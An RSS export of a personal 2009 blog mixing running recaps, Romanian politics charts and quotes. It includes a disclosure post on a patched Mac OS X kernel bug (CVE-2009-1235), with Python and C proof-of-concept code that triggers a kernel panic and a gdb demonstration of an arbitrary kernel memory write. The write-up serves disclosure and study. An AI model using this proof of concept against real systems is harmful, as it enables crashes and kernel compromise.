<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"><channel><atom:link rel="hub" href="http://tumblr.superfeedr.com/" xmlns:atom="http://www.w3.org/2005/Atom"/><description>“The lamp has gone out… and I’m writing… in the darkness…”</description><title>But Not Yet</title><generator>Tumblr (3.0; @butnotyet)</generator><link>http://butnotyet.tumblr.com/</link><item><title>The Zen Master (fictional portrait)</title><description>&lt;p&gt;The Zen Master is by far the most remarkable patron of the late gym hours.  As expected, the master is the epitome of grace and equilibrium. The master doesn’t come too late or too early and is neither staying too long or too short. The right measure is something deeply embedded in almost everything the master does. The taste in clothing is refined and the few pieces of the gym attire are always pleasantly matched in both shape and color.&lt;/p&gt;

&lt;p&gt;The content of the training is tough, but not too tough, and very well organized. The beginning starts on the mat (same place each time) and it contains a healthy assortment of stretches followed by an intense set of several types of crunches. This last item is of particular importance because the master is also known as The Super Cruncher (not to be confused with  &lt;a href="http://www.amazon.com/dp/0553805401"&gt;another  type&lt;/a&gt; of crunchers popular in some circles) due to the perfect technique employed in performing them. Next is a lap of walking followed by running. How many laps? Five (half a mile) is the magic number. The speed is much faster than one mile per minute but distinctively slower than a sprint. The running style is another distinctive feature of the master which sports an impeccable and elegant stride. Another lap of walking and another half a mile concludes half of the whole program. The very end is typically reserved for a vigorous series of jumps. Only after this the right amount of effort was properly achieved.&lt;/p&gt;

&lt;p&gt;In accordance with the rules of perfect harmony the master is never in a rush and the main parts are separated by brief breaks, usually including a walk to the water fountain.  Like many other people the master is also using a portable audio player but, unlike many, this is never allowed to perturb the focus on the main activity.&lt;/p&gt;

&lt;p&gt;The master is a young blonde girl which never smiles. Her outstanding perseverance is inspiring and it will surely serve her well in the future.&lt;/p&gt;</description><link>http://butnotyet.tumblr.com/post/212725114</link><guid>http://butnotyet.tumblr.com/post/212725114</guid><pubDate>Wed, 14 Oct 2009 05:07:00 -0400</pubDate></item><item><title>Summary of the Baltimore Running Festival 2009</title><description>&lt;p&gt;Today I run the Half Marathon from the &lt;a href="http://www.thebaltimoremarathon.com"&gt;Baltimore Running Festival&lt;/a&gt;. My finish time was 2:04:50 which placed me on the overall position 2895 out of 7815 (around the top 37% mark). In the Males 30-34 section I’m probably deeper in the bottom half though. :P The average time per mile was 9:32 was better than I expected. One reason might be the fact that going downhill more than compensated the slowdown accumulated on the uphill sections.&lt;/p&gt;

&lt;p&gt;I just eat and not I’m heading to bed for some rest so here some quick observations.&lt;/p&gt;

&lt;p&gt;Good stuff:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;finishing the race faster than I expected&lt;/li&gt;
&lt;li&gt;the combination of overcast and some showers made the race very enjoyable (and very Baltimore-style too :P)&lt;/li&gt;
&lt;li&gt;the random people cheering in various places&lt;/li&gt;
&lt;li&gt;the downhills! Until now I had now idea that I actually like them. :-)&lt;/li&gt;
&lt;li&gt;the gummy bears. In a few places gummy bears were offered to the runners. Beside being a funny thing in general it was even funnier so see them forming a trail on the running route. Cute!&lt;/li&gt;
&lt;li&gt;the meal (the regular breakfast I have each) I had when I got home tasted better than ever.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Not so nice stuff:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the places with the Gatorade drinks smelled like some medicine to me&lt;/li&gt;
&lt;li&gt;the smell of the portable rest rooms. There is not much to get things better I guess though. I have to say that I made a stop for one after about 6 miles and after that it was great.&lt;/li&gt;
&lt;li&gt;the blisters I got on my right foot. It was from a callus but it never gave me such problems before. Ignoring it was not wise though. Lesson learned.&lt;/li&gt;
&lt;li&gt;the last mile was much harder than I expected&lt;/li&gt;
&lt;li&gt;the heavy dizziness from the end due to the hard stop. There were so many people at the end that was impossible not to stop though.&lt;/li&gt;
&lt;li&gt;I lost about 1kg.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some random stuff:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;people stopping at Clifton Park to take a leak in the nature. Considering the smell of the alternatives I cannot blame them.&lt;/li&gt;
&lt;li&gt;no “Keep Plucking that Chicken!” cheering. I would have loved to hear this one. The &lt;a href="http://cityroom.blogs.nytimes.com/2009/09/18/ruffling-feathers-in-the-land-of-the-chicken-pluckers/"&gt;explanation&lt;/a&gt; of the phrase would have made it perfect for anything after 6 miles. Especially for the last one. :-)&lt;/li&gt;
&lt;/ul&gt;</description><link>http://butnotyet.tumblr.com/post/209472145</link><guid>http://butnotyet.tumblr.com/post/209472145</guid><pubDate>Sat, 10 Oct 2009 15:45:00 -0400</pubDate></item><item><title>Parlamentul României vs Congresul SUA</title><description>&lt;p&gt;Continuând pe direcția din &lt;a href="http://butnotyet.tumblr.com/post/181099380/prezenta-la-vot-in-camera-deputatilor-in-2009"&gt;postul precedent&lt;/a&gt; iată niște grafice care arată prezența la vot la cele două camere ale parlamentului alături de cele două camera ale congresului SUA.&lt;/p&gt;

&lt;div class="photo"&gt;
&lt;a href="http://farm3.static.flickr.com/2503/3903073280_6f36dcc475_o.png"&gt;&lt;img src="http://farm3.static.flickr.com/2503/3903073280_09ab2453ea_m.jpg"/&gt;&lt;/a&gt;   &lt;a href="http://farm4.static.flickr.com/3080/3902295303_a980a6cb58_o.png"&gt;&lt;img src="http://farm4.static.flickr.com/3080/3902295303_922082f33c_m.jpg"/&gt;&lt;/a&gt;

&lt;a href="http://farm3.static.flickr.com/2676/3903073340_f9a33ea9e8_o.png"&gt;&lt;img src="http://farm3.static.flickr.com/2676/3903073340_5f1e4067ff_m.jpg"/&gt;&lt;/a&gt;   &lt;a href="http://farm3.static.flickr.com/2656/3903073362_303c339a5e_o.png"&gt;&lt;img src="http://farm3.static.flickr.com/2656/3903073362_8d250059fc_m.jpg"/&gt;&lt;/a&gt;
&lt;/div&gt;

&lt;p&gt;Diferența între cât de serioase sunt lucrurile la noi și la ei e evidentă. Un lucru interesant de notat e dimensiunea similară a camerelor (332/132 la noi, 443/103 la ei) cât și numărul de runde de votare (477/299 la noi, 686/270 la ei). Situația numărului de zile lucrate e ceva semnificativ mai diferită (31/35 la noi, 96/80 la ei). Deci membrii congresului SUA au mai multe zile lucrătoare, o țară seminificativ mai mare și reușesc să nici nu lipsească aproape de loc. În aproape 20 de ani de non-comunism se pare că mai avem mult până să facem lucrurile cum trebuie.&lt;/p&gt;

&lt;p&gt;Nu am comparat încă datele cu cele de la &lt;a href="http://www.vivi.ro/politica/"&gt;Vivi&lt;/a&gt; așa că s-ar putea ca graficele să nu fie foarte exacte.&lt;/p&gt;

&lt;p&gt;Notă: senatul SUA are doar 100 de senatori. Numărul de 103 e din cauza schimbărilor care au mai avut loc. Același lucru e valabil și pentru camera reprezentanților unde numărul e de 441.&lt;/p&gt;</description><link>http://butnotyet.tumblr.com/post/183505361</link><guid>http://butnotyet.tumblr.com/post/183505361</guid><pubDate>Wed, 09 Sep 2009 03:35:00 -0400</pubDate></item><item><title>Inspirat de Harta Politicii a lui Vivi iată un grafic care arată...</title><description>&lt;img src="http://18.media.tumblr.com/tumblr_kpjrwsRU4s1qzu90so1_500.png"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;Inspirat de &lt;a href="http://www.vivi.ro/politica/"&gt;Harta Politicii&lt;/a&gt; a lui &lt;a href="http://www.vivi.ro"&gt;Vivi&lt;/a&gt; iată un &lt;a href="http://farm3.static.flickr.com/2533/3893581558_2a5a2a334b_o.png"&gt;grafic&lt;/a&gt; care arată situația numărului de voturi exprimate în Camera Deputaților în 2009 până la data de 23 iunie 2009. Fiecare deputat are rezervată o linie orizontală. Numărul mare din dreapta reprezintă numărul total de voturi exprimate. Numărul cu “max” în față indică numărul maxim de voturi care ar fi putut fi exprimate iar procentul reprezintă cât la sută din voturile disponibile au fost exercitate. Ce e interesant e că PNL-ul ar fi putut să exercite mai multe voturi decât PSD+PC dacă s-ar fi dus la vot. Chiar dacă asta nu ar fi influențat semnificativ votul ar fi fost o realizare remarcabilă de care ar putea să fi fost mândri. :-)&lt;/p&gt;

&lt;p&gt;Notă: voturile includ toate voturile exprimate. Apartenența politică este determinată de  ultimul vot exprimat (deci cifrele din dreapta sunt aproximative).&lt;/p&gt;</description><link>http://butnotyet.tumblr.com/post/181099380</link><guid>http://butnotyet.tumblr.com/post/181099380</guid><pubDate>Sun, 06 Sep 2009 07:29:00 -0400</pubDate></item><item><title>The Story of a Simple and Dangerous Kernel Bug</title><description>&lt;p&gt;Among other things, the update for &lt;a href="http://support.apple.com/kb/HT3757"&gt;Mac OS X 10.5.8&lt;/a&gt; also fixed an interesting kernel bug related to the way the fcntl call is handled. The bug was identified as &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1235"&gt;CVE-2009-1235&lt;/a&gt; and the first exploit seems to be from &lt;a href="http://www.digit-labs.org/files/exploits/xnu-hfs-fcntl-v2.c"&gt;June 2008&lt;/a&gt;. The variant that I discovered is much simpler and is, as far as I know, the one that really convinced Apple to solve the issue. :-) The oldest kernel I was able to test the problem was &lt;a href="http://opensource.apple.com/static/iso/"&gt;Darwin 8.0.1&lt;/a&gt; which corresponds to Mac OS X 10.4 “Tiger”. The Tiger was announce in  June 28, 2004 but was released to the public on April 29, 2005 and it was advertised as containing more than 200 new features. The bug was closed on August 5, 2009 so the number of days the vulnerability was alive was 1599 days (4 years and 3 months).&lt;/p&gt;

&lt;p&gt;Here is a way to trigger a kernel panic using Python:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;import termios, fcntl
fcntl.fcntl(0, termios.TIOCGWINSZ)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The first paramter to &lt;code&gt;fcntl.fcntl&lt;/code&gt; indicates a file descriptor and any open one (0 to 4 in Python) will work.&lt;/p&gt;

&lt;p&gt;The C variant is also very simple (it even fits in &lt;a href="http://twitter.com/razvanm/status/3152648774"&gt;a tweet&lt;/a&gt;!):&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#include &lt;fcntl.h&gt;
#include &lt;sys/ioctl.h&gt;

int main()
{
        fcntl(0, TIOCGWINSZ, 0);
        return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;As expected, this code will also generate a kernel panic when the first parameter for fcntl is 1 (stdout) or 2 (stderr).&lt;/p&gt;

&lt;p&gt;Let’s now take a better look at what really happens. First, here is the correct version of the program:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#include &lt;stdio.h&gt;
#include &lt;sys/ioctl.h&gt;

int main()
{
        unsigned short buff[4];
        ioctl(0, TIOCGWINSZ, &amp;buff);
        printf("%d %d %d %d\n", buff[0], buff[1], buff[2], buff[3]);
        return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;What the code does is obtaining the windows size. TIOCGWINSZ and other terminal related ioctl are fully explained in &lt;a href="http://www.manpagez.com/man/4/tty/"&gt;tty(4)&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The output of the above program is the following:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;24 80 484 316
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The first two numbers are the height and length of the window in characters and the second is the same in pixels. The first parameter for ioctl is also a file descriptor and the above output is also obtained for 1 (stdout) and 2 (stderr). The size in pixels depends on the terminal program (in mrxvt 0.4.1 the two numbers are always zero).&lt;/p&gt;

&lt;p&gt;Comparing the two programs it’s obvious that the buggy one is erroneously using fcntl instead of ioctl. As incredible as might sound, I managed to do this by mistake. :P This should (obviously) not generate a kernel panic. The good news is that debugging a Darwin kernel is quite easy because Apple is providing &lt;a href="http://developer.apple.com/hardwaredrivers/download/kerneldebugkits.html"&gt;Kernel Debug Kits&lt;/a&gt; which contains the debug symbols for all the shipped kernels together with some handy gdb macros. The fact that debug takes places over Ethernet is another useful thing. Investigating the call traces of the good and buggy program are like this:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;(buggy) unix_syscall --&gt; fcntl_nocancel -------------------&gt; VNOP_IOCTL --&gt; cptyioctl --&gt; ttioctl
(non-buggy) unix_syscall --&gt; ioctl --&gt; fo_ioctl --&gt; vn_ioctl --&gt; VNOP_IOCTL --&gt; cptyioctl --&gt; ttioctl
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So both calls end up in the same place but taking slightly different paths. The end point in &lt;code&gt;/bsd/kern/tty.c&lt;/code&gt; is the following:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;963          case TIOCGWINSZ:                /* get window size */
964                  *(struct winsize *)data = tp-&gt;t_winsize;
965                  break;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The problem is the &lt;code&gt;data&lt;/code&gt; in the buggy case is whatever we give as a third parameter in the fcntl code. Considering that the 8 bytes are controlled by the user it means he can write that amount of information anywhere in the kernel memory! Pretty scary right? :-) A way to really show this is to overwrite some memory that is not used and the examine the region to see if it contains the right thing. Below is an example that is using &lt;a href="http://fxr.watson.org/fxr/source/osfmk/console/iso_font.c?v=xnu-1228;im=excerpts#L47"&gt;iso_font&lt;/a&gt; for this. Here are the steps (&lt;code&gt;ten&lt;/code&gt; is the name of the target machine and it’s a G4 running 10.4.7):&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;(gdb) attach ten
Connected.
(gdb) print &amp;iso_font
$1 = (unsigned char (*)[4096]) 0x433268
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So &lt;code&gt;iso_font&lt;/code&gt; is located at 0x433268.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;(gdb) x/4hx iso_font
0x433268 &lt;iso_font&gt;:    0x0000  0x0000  0x0000  0x0000
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;And as expected, the first 8 bytes are zero.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;(gdb) c
Continuing.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Next I run the buggy code with the 0x433268 as the third parameter. The program was this:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#include &lt;fcntl.h&gt;
#include &lt;sys/ioctl.h&gt;

int main()
{
        fcntl(0, TIOCGWINSZ, 0x433268);
        return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;When I run this the system didn’t crash. What I did next was to crash it (using 0xdeadbeaf as the third parameter for the fcntl call) in order to be able to take another look at iso_font. Here is what I saw:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Program received signal SIGTRAP, Trace/breakpoint trap.
0x002bdd44 in ttioctl (tp=0x2292a04, cmd=1074295912, data=0xdeadbeaf
    &lt;Address 0xdeadbeaf out of bounds&gt;, flag=0, p=0x21b7b18) at
    /SourceCache/xnu/xnu-1228.12.14/bsd/kern/tty.c:964
warning: Source file is more recent than executable.
964                     *(struct winsize *)data = tp-&gt;t_winsize;
(gdb) x/4hx iso_font
0x433268 &lt;iso_font&gt;:    0x0018  0x0050  0x01e4  0x013c
(gdb) print tp-&gt;t_winsize
$2 = {
  ws_row = 24,
  ws_col = 80,
  ws_xpixel = 484,
  ws_ypixel = 316
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So the iso_font was indeed changed in the expected way. :-)&lt;/p&gt;

&lt;p&gt;To make this disclosure full: I discovered the kernel panic in August 2008. I wrote to Apple but the only reply I got was indicating that they are investigating the problem. In July 2009 I finally spent some time and debug the problem. After I found that it could be used to write arbitrary data in memory I wrote again to Apple. This time they wrote back asking me if I want to be credited in the Security Update. They &lt;a href="http://support.apple.com/kb/HT3757"&gt;kept&lt;/a&gt; their promise. :-)&lt;/p&gt;</description><link>http://butnotyet.tumblr.com/post/175132533</link><guid>http://butnotyet.tumblr.com/post/175132533</guid><pubDate>Sat, 29 Aug 2009 22:26:00 -0400</pubDate></item><item><title>About 3 weeks ago, working on smallworld. Things looked a little...</title><description>&lt;img src="http://9.media.tumblr.com/QHYjyhNuBpu6fns92s8vf3u8o1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;About 3 weeks ago, working on &lt;a href="http://www.facebook.com/careers/puzzles.php#/careers/puzzles.php?puzzle_id=6"&gt;smallworld&lt;/a&gt;. Things looked a little different then.&lt;/p&gt;</description><link>http://butnotyet.tumblr.com/post/140515995</link><guid>http://butnotyet.tumblr.com/post/140515995</guid><pubDate>Sun, 12 Jul 2009 23:25:51 -0400</pubDate></item><item><title>This is the first time I got this in Safari. The strange thing...</title><description>&lt;img src="http://12.media.tumblr.com/QHYjyhNuBpa86aodVCCNWzP8o1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;This is the first time I got this in Safari. The strange thing is it was a link from Wikipedia. :P&lt;/p&gt;</description><link>http://butnotyet.tumblr.com/post/132060266</link><guid>http://butnotyet.tumblr.com/post/132060266</guid><pubDate>Mon, 29 Jun 2009 00:19:10 -0400</pubDate></item><item><title>A Mathematician’s Lament by Paul Lockhart </title><description>&lt;a href="http://www.maa.org/devlin/LockhartsLament.pdf"&gt;A Mathematician’s Lament by Paul Lockhart &lt;/a&gt;: &lt;p&gt;A very nice quote from the text:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I don’t see how it’s doing society any  good to have its members walking around with vague memories of  algebraic for hating them.&lt;/p&gt;
&lt;/blockquote&gt;</description><link>http://butnotyet.tumblr.com/post/127236319</link><guid>http://butnotyet.tumblr.com/post/127236319</guid><pubDate>Sat, 20 Jun 2009 20:02:16 -0400</pubDate></item><item><title>"At 30 a man should know himself like the palm of his hand, know the exact number of his defects and..."</title><description>“At 30 a man should know himself like the palm of his hand, know the exact number of his defects and qualities, know how far he can go, foretell his failures - be what he is. And, above all, accept these things.”&lt;br/&gt;&lt;br/&gt; - &lt;em&gt;Albert Camus&lt;/em&gt;</description><link>http://butnotyet.tumblr.com/post/117170782</link><guid>http://butnotyet.tumblr.com/post/117170782</guid><pubDate>Wed, 03 Jun 2009 00:22:00 -0400</pubDate></item><item><title>10BASE2 on ISS</title><description>&lt;a href="http://spaceflight.nasa.gov/gallery/images/shuttle/sts-104/html/s104e5121.html"&gt;10BASE2 on ISS&lt;/a&gt;: &lt;div class="photo"&gt;
&lt;a href="http://spaceflight.nasa.gov/gallery/images/shuttle/sts-104/html/s104e5121.html"&gt;&lt;img src="http://spaceflight.nasa.gov/gallery/images/shuttle/sts-104/med/s104e5121.jpg"/&gt;&lt;/a&gt;
&lt;/div&gt;

&lt;p&gt;This was in 2001 though. Last year things got &lt;a href="http://www.computerworld.com.au/article/224653/first_ethernet_switch_arrives_space"&gt;better&lt;/a&gt;.&lt;/p&gt;</description><link>http://butnotyet.tumblr.com/post/110178448</link><guid>http://butnotyet.tumblr.com/post/110178448</guid><pubDate>Tue, 19 May 2009 18:48:00 -0400</pubDate></item><item><title>"Nothing matters very much, and few things matter at all."</title><description>“Nothing matters very much, and few things matter at all.”&lt;br/&gt;&lt;br/&gt; - &lt;em&gt;Arthur James Balfour&lt;/em&gt;</description><link>http://butnotyet.tumblr.com/post/98680909</link><guid>http://butnotyet.tumblr.com/post/98680909</guid><pubDate>Tue, 21 Apr 2009 19:10:45 -0400</pubDate></item><item><title>“Instructions - place heads inside dotted lines for best...</title><description>&lt;img src="http://9.media.tumblr.com/QHYjyhNuBmh20sjyubpcPZbzo1_r1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;&lt;em&gt;“Instructions - place heads inside dotted lines for best results”&lt;/em&gt;&lt;/p&gt;</description><link>http://butnotyet.tumblr.com/post/97751925</link><guid>http://butnotyet.tumblr.com/post/97751925</guid><pubDate>Sun, 19 Apr 2009 05:02:00 -0400</pubDate></item><item><title>Getting back some old skills.</title><description>&lt;img src="http://5.media.tumblr.com/QHYjyhNuBlr5b9pnhaZCwJvKo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;Getting back some old skills.&lt;/p&gt;</description><link>http://butnotyet.tumblr.com/post/91815595</link><guid>http://butnotyet.tumblr.com/post/91815595</guid><pubDate>Wed, 01 Apr 2009 01:52:19 -0400</pubDate></item><item><title>Mr. and Ms. Meraki.</title><description>&lt;img src="http://6.media.tumblr.com/QHYjyhNuBlpdqrk26T1LcFIJo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;Mr. and Ms. Meraki.&lt;/p&gt;</description><link>http://butnotyet.tumblr.com/post/91387767</link><guid>http://butnotyet.tumblr.com/post/91387767</guid><pubDate>Mon, 30 Mar 2009 20:12:46 -0400</pubDate></item><item><title>Timeline of Linux Kernel releases</title><description>&lt;p&gt;For the visually incline ones here is a timeline with all the Linux Kernel releases starting with 1.0 and ending with the freshly released &lt;a href="http://lkml.org/lkml/2009/3/23/449"&gt;2.6.29&lt;/a&gt;. The gray are the &lt;a href="http://en.wikipedia.org/wiki/Software_versioning#Odd-numbered_versions_for_development_releases"&gt;development&lt;/a&gt; versions and the small ticks from 2.6 are the minor versions. The minor that sticks out in 2.6 is the ‘stable’ &lt;a href="http://kerneltrap.org/node/7164"&gt;2.6.16&lt;/a&gt;. Note also that the proportions between the left (stable releases) and right (development releases) axes is 1 to 3.&lt;/p&gt;

&lt;div class="photo"&gt;
&lt;a href="http://farm4.static.flickr.com/3541/3381940034_a5891563fd_o.png"&gt;
&lt;img src="http://farm4.static.flickr.com/3541/3381940034_fbb6464865.jpg" alt="Timeline of Linux Kernel releases"/&gt;&lt;/a&gt;
&lt;/div&gt;

&lt;p&gt;The data was collected from &lt;a href="http://kernel.org/pub/linux/kernel/"&gt;kernel.org&lt;/a&gt;, a truly awesome keeper. I had to manually adjust only two dates, the one for 2.1.25 and 2.1.26. The only missing things from the plot are the 2.2.0pre1 to 2.2.0pre9.&lt;/p&gt;

&lt;p&gt;Happy viewing!&lt;/p&gt;</description><link>http://butnotyet.tumblr.com/post/89312148</link><guid>http://butnotyet.tumblr.com/post/89312148</guid><pubDate>Tue, 24 Mar 2009 04:58:00 -0400</pubDate></item><item><title>I think VMware is a big and influential company. Windows...</title><description>&lt;img src="http://10.media.tumblr.com/QHYjyhNuBl8bwy3nNuYFtWOKo1_500.png"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;I think VMware is a big and influential company. Windows doesn’t agree.&lt;/p&gt;</description><link>http://butnotyet.tumblr.com/post/87752941</link><guid>http://butnotyet.tumblr.com/post/87752941</guid><pubDate>Wed, 18 Mar 2009 21:49:31 -0400</pubDate></item><item><title>A very old memory.</title><description>&lt;object width="400" height="336"&gt;&lt;param name="movie" value="http://www.youtube.com/v/r0VUXLsBSjo&amp;rel=0&amp;egm=0&amp;showinfo=0&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/r0VUXLsBSjo&amp;rel=0&amp;egm=0&amp;showinfo=0&amp;fs=1" type="application/x-shockwave-flash" width="400" height="336" allowFullScreen="true" wmode="transparent"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;A very old memory.&lt;/p&gt;</description><link>http://butnotyet.tumblr.com/post/87519957</link><guid>http://butnotyet.tumblr.com/post/87519957</guid><pubDate>Wed, 18 Mar 2009 04:31:00 -0400</pubDate></item><item><title>“Maybe I should run too. I’ll just run like a...</title><description>&lt;object type="application/x-shockwave-flash" width="400" height="300" data="http://vimeo.com/moogaloop.swf?clip_id=3568757&amp;server=vimeo.com&amp;fullscreen=1&amp;show_title=1&amp;show_byline=0&amp;show_portrait=0&amp;color=00ADEF"&gt;&lt;param name="quality" value="best" /&gt;&lt;param name="allowscriptaccess" value="always" /&gt;&lt;param name="allowfullscreen" value="true" /&gt;&lt;param name="scale" value="showAll" /&gt;&lt;param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3568757&amp;server=vimeo.com&amp;fullscreen=1&amp;show_title=1&amp;show_byline=0&amp;show_portrait=0&amp;color=00ADEF" /&gt;&lt;embed src="http://www.vimeo.com/moogaloop.swf?clip_id=3568757&amp;server=www.vimeo.com&amp;show_title=1&amp;show_byline=0&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;&lt;em&gt;“Maybe I should run too. I’ll just run like a lunatic… until the very end so I don’t have to think how small my life was. Was your life small? Did it matter to anyone else? Are you even asking yourself that?”&lt;/em&gt;&lt;/p&gt;</description><link>http://butnotyet.tumblr.com/post/86794363</link><guid>http://butnotyet.tumblr.com/post/86794363</guid><pubDate>Sun, 15 Mar 2009 20:24:00 -0400</pubDate></item><item><title>The beauty of real data.</title><description>&lt;img src="http://14.media.tumblr.com/QHYjyhNuBl2jzs9ea6CfcJKyo1_500.png"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;The beauty of real data.&lt;/p&gt;</description><link>http://butnotyet.tumblr.com/post/86539257</link><guid>http://butnotyet.tumblr.com/post/86539257</guid><pubDate>Sat, 14 Mar 2009 20:49:03 -0400</pubDate></item><item><title>AuroraUX</title><description>&lt;a href="http://auroraux.blastwave.org"&gt;AuroraUX&lt;/a&gt;: &lt;p&gt;An ambitious project. I have to say that I agree with some of their goals.&lt;/p&gt;</description><link>http://butnotyet.tumblr.com/post/85742898</link><guid>http://butnotyet.tumblr.com/post/85742898</guid><pubDate>Thu, 12 Mar 2009 01:07:44 -0400</pubDate></item></channel></rss>
